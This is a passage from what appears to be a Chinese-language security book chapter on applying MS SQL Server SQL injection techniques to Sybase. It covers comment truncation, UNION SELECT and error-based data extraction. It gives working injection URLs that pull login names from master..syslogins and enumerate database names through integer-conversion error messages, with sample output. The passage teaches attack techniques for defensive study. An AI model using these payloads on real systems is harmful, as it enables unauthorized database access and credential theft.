14.3 Sybase内的MS SQL Server 注入技术
有大量的关于Microsoft SQL Server应用程序内SQL注入的文章被发表,这是因为Sybase 和MS SQL Server有共同的来源,值得快速研究一下这个著名的技术和其在Sybase内的工作方式。
14.3.1 注释
Sybase使用“--”和“/*”注释风格,这种方式与MS SQL Server非常一致,因此可以利用“--”序列以同样的方式截短查询。过度精神紧张是不明智的—— 因为采取使注释序列无效的方法总是有可能完成查询的。例如,在前面的UNION SELECT示例中,
http://sybase.example.com/servlet/BookQuery?searchsl234')+union+select+
name,null,null,null,null,null,null,null,null,0+from+master..syslogins--
可以用一个不必要的or来结束查询:
http://sybase.exainple.com/servlet/BookQuery?searchsl234')+union+select+name, null, null, null, null, null, null, null, null, 0+from+master. . syslogins+
where+l=l+or+('a'='a
用这种方式可以使整个查询在语法上保持正确。一般的,多余的or操作符在where从句内可以工作,或者(如果正在注入批处理语句)在批处理后面附加select。
14.3.2 Union Select
正如您刚才所看到的,union select语句几乎以完全相同的方式工作。
14.3.3 错误消息
Sybase错误消息几乎和MS SQL Server错误消息一样有用。特别是“整数转换”(integer conversion)技巧完全相同。利用该技巧,攻击者故意把VARCHAR类型的数据强制转换为整数,目的是引发包含了真实的VARCHAR数据的错误消息。例如,为了获取服务器上数据库的列表,可以使用如下所示的查询:
select name from master..sysdatabases order by name
为了在我们的示例中获得同样的结果,使用整数转换技术,发送请求:
BookQuery?search=')+and+l=convert(integer,(select+min(name)+from+
sysdatabases+where+name>''))--
这将返回如下所示的消息:
com.Sybase.jdbc2.jdbc.SybSQLException: Syntax error during explicit
conversion of VARCHAR value 'master' to a INT field.
可见,错误消息包含了字符串master,这是结果集的第一行记录。为了得到下一条,修改查询以便select大于master的最小值,于是:
BookQuery?search=')+and+l=convert(integer,(select+min(name)+from+
sysdatabases+where+name>'master'))--
错误消息返回字符串model。用这种方式,迭代查询所有的行记录,直到select不能返回进一步的